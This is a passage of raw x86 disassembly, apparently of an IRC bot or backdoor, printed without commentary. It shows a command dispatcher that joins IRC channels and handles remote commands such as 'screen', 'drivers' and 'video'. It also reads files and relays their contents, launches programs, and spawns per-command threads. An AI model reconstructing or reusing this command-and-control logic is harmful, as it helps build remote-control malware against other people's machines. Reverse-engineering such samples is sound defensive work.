esi jnz short loc_408403 mov [ebp+var_638], 5 loc_408403: ; CODE XREF: sub_401ACD+692Bj cmp [ebp+var_C], ebx jz loc_406CDE push edi push [ebp+var_C] call sub_41B900 mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_406CDE lea eax, [ebp+var_E10] push eax lea eax, [ebp+var_668] push eax push ebx push ebx push 28h push esi push ebx push ebx push edi push ebx nop call near ptr 2670B1Dh test eax, eax jnz short loc_40844C push offset unk_429FE0 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40844C: ; CODE XREF: sub_401ACD+6973j push edi push offset dword_429FC4 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_408457: ; CODE XREF: sub_401ACD+4ACBj ; sub_401ACD+4AE2j push edi push offset aDark ; "Dark" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4085D0 lea eax, [ebp+var_48F0] push eax push 104h nop call near ptr 26B0000h push 0FFh lea eax, [ebp+var_25D0] push [ebp+arg_10] push eax call sub_41B5F0 lea eax, [ebp+var_17D0] push eax call sub_40AD80 add esp, 10h push eax lea eax, [ebp+var_48F0] push eax lea eax, [ebp+var_24D0] push offset aSS_exe ; "%s%s.exe" push eax call sub_41B886 mov eax, [ebp+esi+var_84] add esp, 10h cmp eax, ebx mov [ebp+var_23CC], 1 mov [ebp+var_23C8], ebx jz short loc_4084EC push 10h push ebx push eax call sub_41BDC5 add esp, 0Ch mov [ebp+var_23C0], eax jmp short loc_4084F2 ; --------------------------------------------------------------------------- loc_4084EC: ; CODE XREF: sub_401ACD+6A09j mov [ebp+var_23C0], ebx loc_4084F2: ; CODE XREF: sub_401ACD+6A1Dj mov esi, [ebp+esi+var_80] cmp esi, ebx jz short loc_408509 push esi call sub_41B779 pop ecx mov [ebp+var_23C4], eax jmp short loc_40850F ; --------------------------------------------------------------------------- loc_408509: ; CODE XREF: sub_401ACD+6A2Bj mov [ebp+var_23C4], ebx loc_40850F: ; CODE XREF: sub_401ACD+6A3Aj movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_23BC], eax lea eax, [ebp+var_2650] mov [ebp+var_2654], esi push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_23B4], eax mov eax, [ebp+var_8] push [ebp+arg_10] mov [ebp+var_23B8], eax lea eax, [ebp+var_2C4] push offset dword_429F8C push eax call sub_41B886 push esi lea eax, [ebp+var_2C4] push 1Eh push eax call sub_40B0F6 add esp, 18h mov [ebp+var_23D0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2654] push ebx push eax push offset loc_4163F9 push ebx push ebx nop call near ptr 2690088h mov ecx, [ebp+var_23D0] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_4085BF loc_4085A9: ; CODE XREF: sub_401ACD+6AF0j cmp [ebp+var_23B0], ebx jnz loc_406CDE push 32h call near ptr 2690000h nop jmp short loc_4085A9 ; --------------------------------------------------------------------------- loc_4085BF: ; CODE XREF: sub_401ACD+6ADAj nop call near ptr 26908FFh push eax push offset dword_429F50 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4085D0: ; CODE XREF: sub_401ACD+6999j push offset dword_429F08 loc_4085D5: ; CODE XREF: sub_401ACD+2E73j ; sub_401ACD+457Cj ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx jmp loc_406CDE ; --------------------------------------------------------------------------- loc_4085E8: ; CODE XREF: sub_401ACD+4A9Dj ; sub_401ACD+4AB4j push [ebp+var_8C] push offset dword_42C930 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_401E94 cmp [ebp+var_C], ebx jz loc_401E94 push edi push [ebp+var_C] call sub_41B900 pop ecx pop ecx push eax lea eax, [ebp+var_2C4] push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset dword_429EF8 push eax call sub_41B886 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41B5F0 push [ebp+arg_10] call sub_41B779 add esp, 28h test eax, eax jle short loc_408673 push [ebp+arg_10] call sub_41B779 imul eax, 3E8h pop ecx push eax nop call near ptr 2690000h loc_408673: ; CODE XREF: sub_401ACD+6B8Ej push offset dword_429EE4 call sub_4151AC mov eax, [ebp+arg_24] pop ecx inc eax jmp loc_401E97 ; --------------------------------------------------------------------------- loc_408687: ; CODE XREF: sub_401ACD+4A6Fj ; sub_401ACD+4A86j push [ebp+var_8C] push offset dword_42C930 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_401E94 cmp [ebp+var_C], ebx jz loc_409854 push edi push [ebp+var_C] call sub_41B900 inc edi push offset aRepeat ; "repeat" push edi mov esi, eax call sub_41C070 add esp, 10h test eax, eax push esi jz short loc_408745 push [ebp+var_88] lea eax, [ebp+var_2C4] push [ebp+var_8C] push [ebp+var_90] push offset dword_429EF8 push eax call sub_41B886 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41B5F0 add esp, 24h lea eax, [ebp+var_2C4] push esi push offset dword_429ECC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AC push [ebp+arg_10] call sub_41B779 add esp, 14h test eax, eax jle loc_409854 push [ebp+arg_10] call sub_41B779 add eax, [ebp+arg_24] pop ecx jmp loc_401E97 ; --------------------------------------------------------------------------- loc_408745: ; CODE XREF: sub_401ACD+6BFAj push offset unk_429E98 loc_40874A: ; CODE XREF: sub_401ACD+7542j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_408759: ; CODE XREF: sub_401ACD+74CAj ; sub_401ACD+7623j cmp [ebp+var_8], ebx jnz short loc_40877A push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_40877A: ; CODE XREF: sub_401ACD+6C8Fj ; sub_401ACD+72C7j ... lea eax, [ebp+var_2C4] push eax call sub_4151AC jmp loc_409853 ; --------------------------------------------------------------------------- loc_40878B: ; CODE XREF: sub_401ACD+4A41j ; sub_401ACD+4A58j push 7Fh lea eax, [ebp+var_2214] push [ebp+arg_10] push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_2194] push edi push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_2114] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 24h mov esi, [ebp+arg_4] mov [ebp+var_2090], eax mov eax, [ebp+var_8] push edi push [ebp+arg_10] mov [ebp+var_208C], eax lea eax, [ebp+var_2C4] mov [ebp+var_2218], esi push offset unk_429E64 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Fh push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_2094], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2218] push ebx push eax push offset byte_4143CB push ebx push ebx nop call near ptr 2690088h mov ecx, [ebp+var_2094] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40884B loc_408839: ; CODE XREF: sub_401ACD+6D7Cj cmp [ebp+var_2088], ebx jnz short loc_408866 push 32h nop call near ptr 2690000h jmp short loc_408839 ; --------------------------------------------------------------------------- loc_40884B: ; CODE XREF: sub_401ACD+6D6Aj call near ptr 26908FFh nop push eax push offset unk_429E28 loc_408857: ; CODE XREF: sub_401ACD+6E89j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_408866: ; CODE XREF: sub_401ACD+6D72j ; sub_401ACD+6E6Dj cmp [ebp+var_8], ebx jnz loc_409630 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push esi jmp loc_409628 ; --------------------------------------------------------------------------- loc_408886: ; CODE XREF: sub_401ACD+4A13j ; sub_401ACD+4A2Aj push 7Fh lea eax, [ebp+var_23A8] push [ebp+arg_10] push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_2328] push edi push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_22A8] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 24h mov esi, [ebp+arg_4] mov [ebp+var_2224], eax mov eax, [ebp+var_8] push edi push [ebp+arg_10] mov [ebp+var_2220], eax lea eax, [ebp+var_2C4] mov [ebp+var_23AC], esi push offset dword_429DFC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 11h push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_2228], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_23AC] push ebx push eax push offset byte_413B77 push ebx push ebx nop call near ptr 2690088h mov ecx, [ebp+var_2228] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40894A loc_408934: ; CODE XREF: sub_401ACD+6E7Bj cmp [ebp+var_221C], ebx jnz loc_408866 push 32h nop call near ptr 2690000h jmp short loc_408934 ; --------------------------------------------------------------------------- loc_40894A: ; CODE XREF: sub_401ACD+6E65j nop call near ptr 26908FFh push eax push offset dword_429DC0 jmp loc_408857 ; --------------------------------------------------------------------------- loc_40895B: ; CODE XREF: sub_401ACD+49E5j ; sub_401ACD+49FCj push edi lea eax, [ebp+var_2C4] push offset dword_429DB8 push eax call sub_41B886 push [ebp+arg_10] call sub_41B779 add esp, 10h loc_408978: ; CODE XREF: sub_401ACD+6F16j test eax, eax jle loc_409854 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 loc_408994: ; CODE XREF: sub_401ACD+7A55j lea eax, [ebp+var_2C4] push eax push offset dword_429DB0 push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A2C jmp loc_404933 ; --------------------------------------------------------------------------- loc_4089BF: ; CODE XREF: sub_401ACD+49B7j ; sub_401ACD+49CEj push [ebp+esi+var_84] lea eax, [ebp+var_2C4] push edi push offset dword_429DA4 push eax call sub_41B886 push [ebp+arg_10] call sub_41B779 add esp, 14h jmp short loc_408978 ; --------------------------------------------------------------------------- loc_4089E5: ; CODE XREF: sub_401ACD+4989j ; sub_401ACD+49A0j push edi lea eax, [ebp+var_2C4] push offset dword_42B45C push eax call sub_41B886 mov esi, [ebp+arg_10] push esi call sub_41B779 add esp, 10h test eax, eax jle loc_409854 push esi call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 lea eax, [ebp+var_2C4] push eax push offset dword_429DB0 push esi call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A2C add esp, 0Ch push edi push esi push offset dword_429D88 loc_408A4B: ; CODE XREF: sub_401ACD+7009j ; sub_401ACD+7078j ... call sub_415220 jmp loc_404933 ; --------------------------------------------------------------------------- loc_408A55: ; CODE XREF: sub_401ACD+495Bj ; sub_401ACD+4972j cmp [ebp+var_C], ebx jz loc_409854 push edi push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408A84 push esi lea eax, [ebp+var_2C4] push offset dword_429D80 push eax call sub_41B886 add esp, 0Ch loc_408A84: ; CODE XREF: sub_401ACD+6FA0j mov edi, [ebp+arg_10] push edi call sub_41B779 test eax, eax pop ecx jle loc_409854 push edi call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 lea eax, [ebp+var_2C4] push eax push offset dword_429DB0 push edi call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A2C add esp, 0Ch push esi push edi push offset dword_429D64 jmp loc_408A4B ; --------------------------------------------------------------------------- loc_408ADB: ; CODE XREF: sub_401ACD+492Dj ; sub_401ACD+4944j cmp [ebp+var_C], ebx jz loc_409854 push edi push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409854 mov edi, [ebp+arg_10] push edi call sub_41B779 test eax, eax pop ecx jle loc_409854 push edi call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 push esi push offset dword_429DB0 push edi call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A2C add esp, 0Ch push esi push edi push offset dword_429D48 jmp loc_408A4B ; --------------------------------------------------------------------------- loc_408B4A: ; CODE XREF: sub_401ACD+48FFj ; sub_401ACD+4916j cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409854 push esi push offset aModeS ; "MODE %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch push esi push offset unk_429D20 jmp loc_40984D ; --------------------------------------------------------------------------- loc_408B86: ; CODE XREF: sub_401ACD+48D1j ; sub_401ACD+48E8j push [ebp+var_8C] push offset dword_42C930 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_401E94 push edi push offset dword_429D14 push [ebp+arg_4] call sub_409A2C push [ebp+arg_10] call sub_41B779 imul eax, 3E8h add esp, 10h push eax nop call near ptr 2690000h push [ebp+esi+var_84] push edi push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2C push offset dword_429D00 call sub_4151AC jmp loc_40351F ; --------------------------------------------------------------------------- loc_408BEA: ; CODE XREF: sub_401ACD+48A3j ; sub_401ACD+48BAj cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] call sub_41AFE0 push [ebp+arg_8] mov esi, eax call sub_41AFE0 add eax, [ebp+var_C] push edi lea eax, [eax+esi+2] push eax call sub_41B900 mov esi, eax add esp, 10h cmp esi, ebx jz loc_409854 push esi lea eax, [ebp+var_2C4] push offset dword_42A434 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push ebx push eax push [ebp+arg_10] push [ebp+arg_4] call sub_409A72 add esp, 20h push esi push [ebp+arg_10] push offset unk_429CE4 jmp loc_408A4B ; --------------------------------------------------------------------------- loc_408C57: ; CODE XREF: sub_401ACD+4875j ; sub_401ACD+488Cj cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] call sub_41AFE0 push [ebp+arg_8] mov esi, eax call sub_41AFE0 add eax, [ebp+var_C] push edi lea eax, [eax+esi+2] push eax call sub_41B900 mov esi, eax add esp, 10h cmp esi, ebx jz loc_409854 push ebx push ebx push esi push [ebp+arg_10] push [ebp+arg_4] call sub_409A72 add esp, 14h push esi push [ebp+arg_10] push offset unk_429CC4 jmp loc_408A4B ; --------------------------------------------------------------------------- loc_408CAC: ; CODE XREF: sub_401ACD+4847j ; sub_401ACD+485Ej cmp [ebp+var_C], ebx jz loc_401E94 push edi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz loc_401E94 push eax push [ebp+arg_10] call sub_4150B4 pop ecx pop ecx push [ebp+arg_10] push offset unk_429CA4 loc_408CDB: ; CODE XREF: sub_401ACD+5852j ; sub_401ACD+7B2Aj lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch jmp loc_40960F ; --------------------------------------------------------------------------- loc_408CEF: ; CODE XREF: sub_401ACD+4819j ; sub_401ACD+4830j push edi push [ebp+arg_10] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4184E1 jmp loc_4040FC ; --------------------------------------------------------------------------- loc_408D09: ; CODE XREF: sub_401ACD+47DBj ; sub_401ACD+47F0j push [ebp+arg_10] push [ebp+arg_1C] call sub_41B900 pop ecx test eax, eax pop ecx jz loc_409854 mov esi, [ebp+esi+var_88] cmp esi, ebx jz loc_408DB1 push esi push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408D99 push esi lea eax, [ebp+var_2C4] push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset dword_429EF8 push eax call sub_41B886 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41B5F0 add esp, 24h lea eax, [ebp+var_2C4] push esi push [ebp+arg_10] push offset unk_429C7C push eax call sub_41B886 add esp, 10h inc [ebp+arg_24] jmp loc_40877A ; --------------------------------------------------------------------------- loc_408D99: ; CODE XREF: sub_401ACD+726Fj lea eax, [ebp+var_2C4] push offset unk_429C4C push eax call sub_41B886 pop ecx pop ecx jmp loc_40877A ; --------------------------------------------------------------------------- loc_408DB1: ; CODE XREF: sub_401ACD+725Aj push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41ACF6 add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h lea eax, [ebp+var_2C4] push [ebp+arg_10] push offset dword_429C30 push 200h push eax call sub_41B980 add esp, 10h jmp loc_40877A ; --------------------------------------------------------------------------- loc_408DFD: ; CODE XREF: sub_401ACD+47B1j ; sub_401ACD+47C6j push offset aScreen ; "screen" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_408E58 mov edi, [ebp+esi+var_88] cmp edi, ebx jz short loc_408E45 push edi call sub_4153BC cmp eax, 1 pop ecx jnz short loc_408E3E push edi lea eax, [ebp+var_2C4] push offset unk_429BFC push eax call sub_41B886 add esp, 0Ch jmp short loc_408E58 ; --------------------------------------------------------------------------- loc_408E3E: ; CODE XREF: sub_401ACD+7358j push offset unk_429BCC jmp short loc_408E4A ; --------------------------------------------------------------------------- loc_408E45: ; CODE XREF: sub_401ACD+734Cj push offset unk_429B90 loc_408E4A: ; CODE XREF: sub_401ACD+7376j lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx loc_408E58: ; CODE XREF: sub_401ACD+7341j ; sub_401ACD+736Fj push offset aDrivers ; "drivers" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_408EE5 xor edi, edi loc_408E6D: ; CODE XREF: sub_401ACD+7403j lea eax, [ebp+var_53F8] push 1FFh push eax lea eax, [ebp+var_4EF0] push 0FFh push eax push edi call dword_4CAFA4 test eax, eax jz short loc_408ECC lea eax, [ebp+var_53F8] push eax lea eax, [ebp+var_4EF0] push eax push edi lea eax, [ebp+var_5D88] push offset unk_429B60 push eax call sub_41B886 push ebx lea eax, [ebp+var_5D88] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 28h loc_408ECC: ; CODE XREF: sub_401ACD+73C1j inc edi cmp edi, 0Ah jl short loc_408E6D lea eax, [ebp+var_2C4] push offset unk_429B38 push eax call sub_41B886 pop ecx pop ecx loc_408EE5: ; CODE XREF: sub_401ACD+739Cj push offset aFrame ; "frame" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_408F86 cmp [ebp+esi+var_88], ebx jz short loc_408F73 cmp [ebp+esi+var_84], ebx jz short loc_408F73 mov edi, [ebp+esi+var_80] cmp edi, ebx jz short loc_408F73 mov eax, [ebp+esi+var_7C] cmp eax, ebx jz short loc_408F73 push eax call sub_41B779 pop ecx push eax push edi call sub_41B779 pop ecx push eax push [ebp+esi+var_84] call sub_41B779 pop ecx push eax push [ebp+esi+var_88] call sub_4155F7 add esp, 10h test eax, eax jnz short loc_408F6C push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset unk_429B04 push eax call sub_41B886 add esp, 0Ch jmp short loc_408F86 ; --------------------------------------------------------------------------- loc_408F6C: ; CODE XREF: sub_401ACD+7480j push offset unk_429AD0 jmp short loc_408F78 ; --------------------------------------------------------------------------- loc_408F73: ; CODE XREF: sub_401ACD+7436j ; sub_401ACD+743Fj ... push offset unk_429A98 loc_408F78: ; CODE XREF: sub_401ACD+74A4j lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx loc_408F86: ; CODE XREF: sub_401ACD+7429j ; sub_401ACD+749Dj push offset aVideo ; "video" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_408759 mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+arg_1C], eax jz short loc_40901E mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_0], eax jz short loc_40901E mov eax, [ebp+esi+var_80] cmp eax, ebx mov [ebp+arg_18], eax jz short loc_40901E mov edi, [ebp+esi+var_7C] cmp edi, ebx jz short loc_40901E mov esi, [ebp+esi+var_78] cmp esi, ebx jz short loc_40901E push esi call sub_41B779 pop ecx push eax push edi call sub_41B779 pop ecx push eax push [ebp+arg_18] call sub_41B779 pop ecx push eax push [ebp+arg_0] call sub_41B779 pop ecx push eax push [ebp+arg_1C] call sub_4157F0 add esp, 14h test eax, eax jnz short loc_409014 push [ebp+arg_1C] push offset unk_429A64 jmp loc_40874A ; --------------------------------------------------------------------------- loc_409014: ; CODE XREF: sub_401ACD+7538j push offset unk_429A24 jmp loc_4090E2 ; --------------------------------------------------------------------------- loc_40901E: ; CODE XREF: sub_401ACD+74DCj ; sub_401ACD+74EAj ... push offset unk_4299E4 jmp loc_4090E2 ; --------------------------------------------------------------------------- loc_409028: ; CODE XREF: sub_401ACD+4041j ; sub_401ACD+4056j push offset aR ; "r" push [ebp+arg_10] call sub_41B4C2 mov edi, eax pop ecx cmp edi, ebx pop ecx jz short loc_409098 mov esi, 200h push edi lea eax, [ebp+var_2C4] push esi push eax call sub_41BB4F add esp, 0Ch loc_409053: ; CODE XREF: sub_401ACD+75B5j test eax, eax jz short loc_409084 push 1 lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push edi lea eax, [ebp+var_2C4] push esi push eax call sub_41BB4F add esp, 20h jmp short loc_409053 ; --------------------------------------------------------------------------- loc_409084: ; CODE XREF: sub_401ACD+7588j push edi call sub_41B05B pop ecx push [ebp+arg_10] push offset unk_4299C0 jmp loc_409226 ; --------------------------------------------------------------------------- loc_409098: ; CODE XREF: sub_401ACD+756Ej push [ebp+arg_10] push offset unk_42999C jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4090A5: ; CODE XREF: sub_401ACD+4017j ; sub_401ACD+402Cj cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409854 push offset asc_429998 ; "\n" push esi call sub_41BEC0 push esi call sub_419A50 add esp, 0Ch test eax, eax jnz short loc_4090F5 push offset unk_42996C loc_4090E2: ; CODE XREF: sub_401ACD+754Cj ; sub_401ACD+7556j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx jmp loc_408759 ; --------------------------------------------------------------------------- loc_4090F5: ; CODE XREF: sub_401ACD+760Ej push esi lea eax, [ebp+var_2C4] push offset dword_429954 push eax call sub_41B886 add esp, 0Ch jmp loc_40877A ; --------------------------------------------------------------------------- loc_40910F: ; CODE XREF: sub_401ACD+3FEDj ; sub_401ACD+4002j cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz loc_409854 push eax call sub_418211 test eax, eax pop ecx jnz short loc_40913F push offset unk_429934 jmp short loc_4090E2 ; --------------------------------------------------------------------------- loc_40913F: ; CODE XREF: sub_401ACD+7669j push offset dword_429918 jmp short loc_4090E2 ; --------------------------------------------------------------------------- loc_409146: ; CODE XREF: sub_401ACD+3FC3j ; sub_401ACD+3FD8j push 7Fh lea eax, [ebp+var_2080] push [ebp+arg_10] push eax call sub_41B5F0 mov esi, [ebp+esi+var_88] add esp, 0Ch cmp esi, ebx jz short loc_409177 push 7Fh loc_409167: ; DATA XREF: sub_542C3C+24A49o lea eax, [ebp+var_2000] push esi push eax call sub_41B5F0 add esp, 0Ch loc_409177: ; CODE XREF: sub_401ACD+7696j push 7Fh lea eax, [ebp+var_1F80] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_2084], eax mov eax, [ebp+var_8] push [ebp+arg_10] mov [ebp+var_1EFC], eax mov eax, [ebp+var_4] mov [ebp+var_1EF8], eax lea eax, [ebp+var_2C4] push offset dword_429900 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Ch push eax call sub_40B0F6 add esp, 18h mov [ebp+var_1F00], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2084] push ebx push eax push offset sub_41ADB5 push ebx push ebx nop call near ptr 2690088h mov ecx, [ebp+var_1F00] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40921A loc_409204: ; CODE XREF: sub_401ACD+774Bj cmp [ebp+var_1EF4], ebx jnz loc_406CFF push 32h call near ptr 2690000h nop jmp short loc_409204 ; --------------------------------------------------------------------------- loc_40921A: ; CODE XREF: sub_401ACD+7735j nop call near ptr 26908FFh push eax push offset unk_4298C0 loc_409226: ; CODE XREF: sub_401ACD+29CEj ; sub_401ACD+75C6j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch jmp loc_406CFF ; --------------------------------------------------------------------------- loc_40923A: ; CODE XREF: sub_401ACD+3F99j ; sub_401ACD+3FAEj push ebx push [ebp+var_88] push [ebp+arg_4] push [ebp+arg_10] call sub_40F96A add esp, 10h push [ebp+arg_10] push offset dword_4298A8 jmp loc_40984D ; --------------------------------------------------------------------------- loc_40925C: ; CODE XREF: sub_401ACD+3F6Fj ; sub_401ACD+3F84j push 14h lea eax, [ebp+var_1D48] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_1D34] push [ebp+arg_10] push offset aS_1 ; "%s" push eax call sub_41B886 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_1D50], eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_1C30] push 80h push eax call sub_41B980 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_1BA8], eax mov eax, [ebp+var_8] mov [ebp+var_1BA4], eax lea eax, [ebp+var_1C30] push eax lea eax, [ebp+var_1D34] push eax lea eax, [ebp+var_2C4] push offset unk_429884 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Ah push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_1BAC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1D50] push ebx push eax push offset loc_415E1A push ebx push ebx call near ptr 2690088h nop mov ecx, [ebp+var_1BAC] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz loc_4023E6 loc_409325: ; CODE XREF: sub_401ACD+786Cj cmp [ebp+var_1BA0], ebx jnz loc_4083BC push 32h call near ptr 2690000h nop jmp short loc_409325 ; --------------------------------------------------------------------------- loc_40933B: ; CODE XREF: sub_401ACD+3F45j ; sub_401ACD+3F5Aj push [ebp+arg_10] call near ptr 2690292h nop test eax, eax jz short loc_409366 push [ebp+arg_10] lea eax, [ebp+var_2C4] push offset dword_429868 push 200h push eax call sub_41B980 jmp loc_409444 ; --------------------------------------------------------------------------- loc_409366: ; CODE XREF: sub_401ACD+7879j push offset dword_42A070 call sub_41814C pop ecx push eax jmp loc_403F47 ; --------------------------------------------------------------------------- loc_409377: ; CODE XREF: sub_401ACD+3F1Bj ; sub_401ACD+3F30j push [ebp+arg_10] call sub_41B779 push eax call sub_4199C9 pop ecx pop ecx push 1 pop esi push [ebp+arg_10] cmp eax, esi jnz short loc_409398 push offset unk_429844 jmp short loc_40939D ; --------------------------------------------------------------------------- loc_409398: ; CODE XREF: sub_401ACD+78C2j push offset unk_429814 loc_40939D: ; CODE XREF: sub_401ACD+78C9j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_406D02 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h jmp loc_406D02 ; --------------------------------------------------------------------------- loc_4093D6: ; CODE XREF: sub_401ACD+3EF1j ; sub_401ACD+3F06j push ebx push ebx push [ebp+arg_10] push [ebp+var_4] push ebx push [ebp+arg_4] call sub_4196BC add esp, 18h cmp eax, 1 push [ebp+arg_10] jnz short loc_4093FC push offset unk_4297F4 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4093FC: ; CODE XREF: sub_401ACD+7923j push offset unk_4297C4 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_409406: ; CODE XREF: sub_401ACD+3EC7j ; sub_401ACD+3EDCj mov esi, [ebp+arg_10] push esi call dword_4CAFB4 cmp eax, 0FFFFFFFFh mov [ebp+var_2D8], eax jz short loc_40944C push 2 lea eax, [ebp+var_2D8] push 4 push eax call dword_4CAF2C cmp eax, ebx jz short loc_409467 push dword ptr [eax] loc_409432: ; CODE XREF: sub_401ACD+7998j push esi lea eax, [ebp+var_2C4] push offset unk_4297A4 push eax call sub_41B886 loc_409444: ; CODE XREF: sub_401ACD+7894j add esp, 10h jmp loc_406CDE ; --------------------------------------------------------------------------- loc_40944C: ; CODE XREF: sub_401ACD+794Cj push esi call dword_4CAFF8 cmp eax, ebx jz short loc_409467 mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call dword_4CB000 push eax jmp short loc_409432 ; --------------------------------------------------------------------------- loc_409467: ; CODE XREF: sub_401ACD+7961j ; sub_401ACD+7988j push offset unk_42977C jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_409471: ; CODE XREF: sub_401ACD+3E9Dj ; sub_401ACD+3EB2j push 7Fh push [ebp+arg_10] push [ebp+arg_14] call sub_41B5F0 add esp, 0Ch push [ebp+arg_10] push offset unk_429754 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_40948E: ; CODE XREF: sub_401ACD+3E73j ; sub_401ACD+3E88j push 5 push ebx push ebx push [ebp+arg_10] push offset aOpen ; "open" push ebx call dword_4CAEE0 push [ebp+arg_10] test eax, eax jz short loc_4094B2 push offset unk_429734 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4094B2: ; CODE XREF: sub_401ACD+79D9j push offset unk_429710 jmp 